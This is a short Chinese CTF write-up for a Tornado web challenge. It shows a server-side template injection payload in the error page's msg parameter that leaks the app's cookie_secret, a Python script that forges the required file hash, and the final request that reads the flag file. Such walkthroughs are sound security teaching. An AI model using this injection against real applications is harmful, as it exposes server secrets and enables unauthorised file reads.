步骤
打开所给场景,发现给出了三个文件: 依次进行访问: flag.txt welcome.txt hints.txt 获得的信息:url是统一的,只有传递的参数在变化,flag在/fllllllllllllag中,也就是filename=/fllllllllllllag,filehash也给出了我们计算方法,render是python中一个渲染函数,渲染变量到模板中,即可以通过传递不同的参数形成不同的页面
所以现在我们只有拿到cookie_secret 就行了
尝试访问(filehash暂时不知道先不管):/file?filename=/fllllllllllllag&filehash=ca153a905222bf685376acfb90feae6f 结果:跳转到了error 页面 传递的参数会进行回显,尝试一下服务端模板注入(SSTI) 额,不知道咋显示了个ORZ…
查了一下,tornado是python的一个框架,有漏洞可以利用,我们要找的cookie_secret 在handler.settings 中
payload:/error?msg={{handler.settings}} 拿到cookie_secret 之后,使用脚本算出filehash就可以了
import hashlib
def md5(f):
md5 = hashlib.md5()
md5.update(f.encode('utf8'))
return md5.hexdigest()
def filehash():
filename = '/fllllllllllllag'
cookie_secret = '06d042ad-2db7-4e82-b2cc-58902b6812d5'
print(md5(cookie_secret + md5(filename)))
if __name__ == '__main__':
filehash()
构造最终payload:/file?filename=/fllllllllllllag&filehash=7304436c67541aeb8d0855107cb069a4
总结
掌握框架的一些已有漏洞的利用
|